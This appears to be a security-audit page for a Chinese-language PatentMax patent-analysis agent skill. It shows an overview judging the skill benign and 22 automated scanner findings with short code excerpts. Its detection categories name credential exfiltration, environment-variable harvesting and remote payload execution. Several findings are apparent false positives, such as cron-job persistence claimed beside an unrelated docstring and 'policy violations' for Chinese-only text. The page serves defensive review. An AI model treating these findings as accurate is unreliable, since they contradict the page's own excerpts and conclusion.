ClawHub
Back to skill

Security audit

企业情报分析 · PatentMax

Security checks for vulnerabilities and agentic risk

Overview

This is a coherent PatentMax report skill that sends user-confirmed patent-analysis inputs to PatentMax and saves the resulting report locally, with no evidence of hidden or destructive behavior.

Before installing, confirm you are allowed to send the company name, analysis objective, and any optional background materials to PatentMax. Protect PATENTMAX_API_KEY like a password, avoid uploading trade secrets unless your organization approves that third-party processing, and review the saved DOCX/JSON outputs in the working directory or chosen output folder.

A.I.G

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs

SkillSpector

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Rogue AgentSelf-Modification, Session Persistence
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (22)

Tainted flow: 'req' from os.environ.get (line 210, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/patentmax_competitive.py (reported line 134)May include surrounding context.

python
req.add_header("Content-Type", "application/json")
    req.add_header("Accept", "application/json")
    try:
        with urllib.request.urlopen(req, timeout=30) as response:
            payload = json.loads(response.read().decode("utf-8"))
    except urllib.error.HTTPError as exc:
        _, message = _server_error(exc.read().decode("utf-8", "replace"))

Tainted flow: 'req' from os.environ.get (line 210, credential/environment) → urllib.request.urlopen (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/patentmax_competitive.py (reported line 217)May include surrounding context.

python
req.add_header("Content-Type", "application/json")
    for key, value in (headers or {}).items():
        req.add_header(key, value)
    return urllib.request.urlopen(req, timeout=TIMEOUT)


def request(path, method="GET", body=None, headers=None, raw=False):

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The skill description says a user-provided PatentMax API key is required, but the behavior described by the analyzer includes automatically claiming and caching a free trial key, reading local files via --materials-file including .docx extraction, and persisting credentials/results under ~/.patentmax. That is a meaningful trust-boundary mismatch: it can trigger paid or account-linked external actions and local data handling the user was not clearly told about, increasing risk of unintended credential use and exfiltration of sensitive local documents.

Content

No source excerpt is available for this finding.

Lp1

High
Category
MCP Least Privilege
Confidence
97% confidence
Finding

Outbound HTTP(S) access is fundamental to this tool, yet if not declared, the skill violates least-privilege expectations and can bypass capability review. In an agent ecosystem, undeclared network ability is security-relevant because it enables external transmission of user-provided materials, company names, and API credentials under incomplete policy visibility.

Content

No source excerpt is available for this finding.

Lp1

High
Category
MCP Least Privilege
Confidence
97% confidence
Finding

Outbound HTTP(S) access is fundamental to this tool, yet if not declared, the skill violates least-privilege expectations and can bypass capability review. In an agent ecosystem, undeclared network ability is security-relevant because it enables external transmission of user-provided materials, company names, and API credentials under incomplete policy visibility.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
87% confidence
Finding

L042 states the report tells the user where the 'gaps' are and which directions are already crowded, which goes beyond neutral status reporting and implies strategic positioning guidance. This conflicts with L099, which explicitly says the skill does not give layout advice and only describes the current situation.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
81% confidence
Finding

The skill is granted Write access and the broader behavior indicates it persists task records, cached credentials, and results locally. Persistent local storage can expose sensitive report contents, API credentials, or user-supplied materials to other processes or future sessions if permissions, retention, and disclosure are not tightly controlled.

Content

Scanner excerpt · SKILL.md (reported line 8)May include surrounding context.

md
author: PatentMax
user-invocable: true
argument-hint: "[企业名称 / 技术方向 / 分析目标]"
allowed-tools: Bash, Read, Write
---

# PatentMax 企业情报分析

Session Persistence

Medium
Category
Rogue Agent
Confidence
81% confidence
Finding

The skill is granted Write access and the broader behavior indicates it persists task records, cached credentials, and results locally. Persistent local storage can expose sensitive report contents, API credentials, or user-supplied materials to other processes or future sessions if permissions, retention, and disclosure are not tightly controlled.

Content

Scanner excerpt · SKILL.md (reported line 8)May include surrounding context.

md
author: PatentMax
user-invocable: true
argument-hint: "[企业名称 / 技术方向 / 分析目标]"
allowed-tools: Bash, Read, Write
---

# PatentMax 企业情报分析

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · README.md (reported line 53)May include surrounding context.

md
Windows PowerShell 用 `$env:PATENTMAX_API_KEY="..."`，CMD 用 `set PATENTMAX_API_KEY=...`。`export` 只对当前终端有效，换窗口要重设。

密钥在 https://api.ip930.com/features/api-platform 自助创建。

## 400 参数不正确

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/faq.md (reported line 17)May include surrounding context.

md
Windows PowerShell 用 `$env:PATENTMAX_API_KEY="..."`，CMD 用 `set PATENTMAX_API_KEY=...`。`export` 只对当前终端有效，换窗口要重设。

密钥在 https://api.ip930.com/features/api-platform 自助创建。

## 400 参数不正确

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/faq.md (reported line 121)May include surrounding context.

md
Windows PowerShell 用 `$env:PATENTMAX_API_KEY="..."`，CMD 用 `set PATENTMAX_API_KEY=...`。`export` 只对当前终端有效，换窗口要重设。

密钥在 https://api.ip930.com/features/api-platform 自助创建。

## 400 参数不正确

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The FAQ states '脚本已强制 UTF-8 输出' in a fully Chinese-language skill context, and the document provides no opt-in or alternative locale/language path for users who may need another language. This is a natural-language locale policy concern because the skill appears to assume/force Chinese usage rather than offering a choice or documenting a justified region-only constraint.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/faq.md (reported line 121)May include surrounding context.

实在没有就直接发 HTTP 请求：

bash
curl -s -X POST "https://api.ip930.com/api/v1/reports" \
  -H "Authorization: Bearer $PATENTMAX_API_KEY" \
  -H "Content-Type: application/json" \
  -H "Idempotency-Key: 自定义唯一串" \

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

This markdown file presents all user-facing guidance in Chinese and does not indicate that the skill is China-specific or that users may choose another language. Under the policy, forcing a specific language without user opt-in is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

This markdown file contains user-facing operational instructions exclusively in Chinese, and it does not indicate that the user can choose another language or that the skill is intentionally limited to a Chinese-speaking audience. Under the policy rule, forcing a specific language without user opt-in is a natural-language policy violation.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · scripts/patentmax_competitive.py (reported line 8)May include surrounding context.

python
**每条命令最多跑 30 秒就返回。** WorkBuddy 这类宿主前台跑命令时，要等命令结束才显示输出，
AI 中途也插不了话；一条命令阻塞几十分钟，用户就几十分钟什么都看不到，宿主还可能把命令掐掉。
所以 create 提交后只等 15 秒就先返回，之后用 wait 接着等，每次最多 30 秒：

    退出码 0   完成了（Word 报告已自动下载到提交时的目录）
    退出码 10  还在生成：把输出里的「[进度]」行告诉用户，再运行一次 wait

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · scripts/patentmax_competitive.py (reported line 8)May include surrounding context.

python
**每条命令最多跑 30 秒就返回。** WorkBuddy 这类宿主前台跑命令时,要等命令结束才显示输出,
AI 中途也插不了话;一条命令阻塞几十分钟,用户就几十分钟什么都看不到,宿主还可能把命令掐掉。
所以 create 提交后只等 15 秒就先返回,之后用 wait 接着等,每次最多 30 秒:

    退出码 0   完成了(Word 报告已自动下载到提交时的目录)
    退出码 10  还在生成:把输出里的「[进度]」行告诉用户,再运行一次 wait

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The docstring explicitly instructs that the error message is user-facing Chinese and should be relayed verbatim. This is a natural-language locale policy issue because it mandates a specific language for user communication with no opt-in or alternative locale path.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
84% confidence
Finding

The skill sends user inputs and credentials to an external third-party service at api.ip930.com, which is an external transmission of potentially sensitive business information. In this specific skill context, that transmission is expected, but it is still security-relevant because materials files, target company names, market focus, and analysis objectives may contain confidential competitive-intelligence data.

Content

Scanner excerpt · scripts/patentmax_competitive.py (reported line 92)May include surrounding context.

python
# 密钥版（TRIAL_SOURCE 为空）：必须设 PATENTMAX_API_KEY，不领试用。
TRIAL_SOURCE = ""
TRIAL_GROUP = "competitive"
TRIAL_REGISTER_URL = "https://api.ip930.com/features/api-platform"
KEY_FROM_TRIAL = False

External Transmission

Medium
Category
Data Exfiltration
Confidence
83% confidence
Finding

This code path reinforces that operation depends on a remote external service and instructs users to provision an API key for that service. The risk is not malware-like behavior but the routine transmission of potentially sensitive corporate intelligence inputs to a third party, which matters in a patent due-diligence skill handling proprietary materials.

Content

Scanner excerpt · scripts/patentmax_competitive.py (reported line 171)May include surrounding context.

python
if API_KEY:
        return API_KEY
    if not TRIAL_SOURCE:
        die("还没有设置 PatentMax 密钥。到 https://api.ip930.com/features/api-platform 注册（新用户送 ¥50 体验额度）"
            "并创建密钥，设成环境变量 PATENTMAX_API_KEY=pm_live_xxx 后，再运行同一条命令。", EXIT_INPUT)
    API_KEY = _load_trial_key() or _claim_trial_key()
    KEY_FROM_TRIAL = True

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
90% confidence
Finding

The policy flags natural-language cases where a skill forces a specific language without user opt-in. This README presents the skill usage and constraints only in Chinese, with no indication that alternative language support exists or that the Chinese-only presentation is a justified region-specific requirement.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

The README instructs users to store a live API key in an environment variable but does not warn that the credential is sensitive or should be protected from logs, screenshots, shared shell sessions, CI output, and copied command history. In practice, this can lead to accidental secret exposure, unauthorized use of the PatentMax account, and billing or data-access abuse.

Content

No source excerpt is available for this finding.